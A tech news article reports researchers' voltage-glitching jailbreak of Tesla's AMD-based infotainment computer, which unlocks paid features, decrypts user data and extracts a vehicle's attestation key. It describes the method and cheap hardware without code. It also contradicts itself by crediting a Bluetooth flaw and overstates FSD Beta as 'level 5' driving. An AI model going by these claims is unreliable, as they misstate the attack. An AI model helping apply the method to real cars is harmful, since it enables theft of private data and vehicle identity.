With the involvement of smart technology, **security vulnerabilities in Tesla cars** are not a novel occurrence; they have been a well-established fact. Such vulnerabilities are an inherent possibility whenever sophisticated technology is integrated into a vehicle.

Tesla offers in-car purchases to enhance its EVs connectivity, and researchers have already found a method to jailbreak Tesla vehicles and activate crucial features like FSD Beta, or heated seats.

**Tesla EVs In-Car Paid Features are Hackable!**

Academic researchers from Technical University Berlin and independent researcher Oleg Drokin have found a way to unlock in-car purchasable features of Tesla EVs. Researchers have found that gaining complete control of a Tesla EV was possible by **exploiting a flaw in its Bluetooth system**.

According to researchers, they managed to gain root access to Tesla EV’s MCU-Z (AMD-based) infotainment system, **used** in almost all new EV models, which gave them complete control over the vehicle’s operating system and use any feature such as activating and deactivating its systems.

**How Does the Attack Work?**

Researchers exploited a voltage-glitching (aka fault injection) vulnerability in the ICE (infotainment ECU) board of the EV to bypass Tesla’s AMD Secure Processor, a Trusted Platform Module. This helped them gain root access to the OS and run arbitrary code on the MCU-Z and enable paid features like Acceleration Boost, FSD Beta, and heated seats.

Not just that, they could break geolocation restrictions on FSD Beta and navigation, which may be detrimental for Tesla users because it makes enabling FSD Beta possible in any region/country where it is unavailable.

For instance, they can enjoy fully autonomous (level 5) driving in Europe where only Level 3 autonomous driving (requiring a fair amount of human intervention) is legal under certain **conditions**.

** Tesla Jailbreak details**

Interestingly, Tesla jailbreaking turned out easier than expected, and advanced tools weren’t required to achieve it. Researchers successfully exploited MCU-Z by voltage fault injection attack against the ASP using low-cost hardware to mount to glitching attack and disrupt the ASP’s early boot code.

They then reverse-engineered the boot flow to gain a root shell. After gaining root permissions, they enabled arbitrary changes to Linux and decrypt the encrypted NVMe storage to access private user data like calendar entries or phonebook.

The ASP attack also allows extracting a TPM-protected attestation key that authenticates a Tesla EV and migrates the vehicle’s identity to another car computer without Tesla’s consent.

According to co-researcher **Christian Werling**, this attack can be pulled off with basic electronic engineering using hardware worth up to $100 and a soldering iron. Moreover, the AMD CPU’s vulnerability is unmitigable without a CPU upgrade, and gaining root permissions allows arbitrary changes to Linux that survive updates and reboots. This means the access might be irrevocable.

However, Werling noted that a Teensy 4.0 Development board is better for voltage-glitching as it works better with their open-source attack firmware. In addition, an SPI flash programmer and a logic analyzer can help debug this attack.

It is unclear whether researchers have informed Tesla about this vulnerability. Despite successful jailbreaking, researchers lauded Tesla’s superior security mechanism, claiming it is way ahead of most automakers.

The findings will be revealed at the **Black Hat USA** on Wednesday, August 9, 2023.

**RELATED ARTICLES**

1.  How to unlock Tesla wireless key fobs in 2 seconds
2.  Tesla autopilot feature hacked to risk oncoming traffic
3.  3rd-party flaw allowed a teen hacker to track Tesla cars
4.  Sensitive user data found in Tesla car parts sold on eBay
5.  Bug bounty: Hack Tesla Model 3 to win your own Model 3
6.  Researchers found another way to hack Tesla Model X Key Fob

Tag

#linux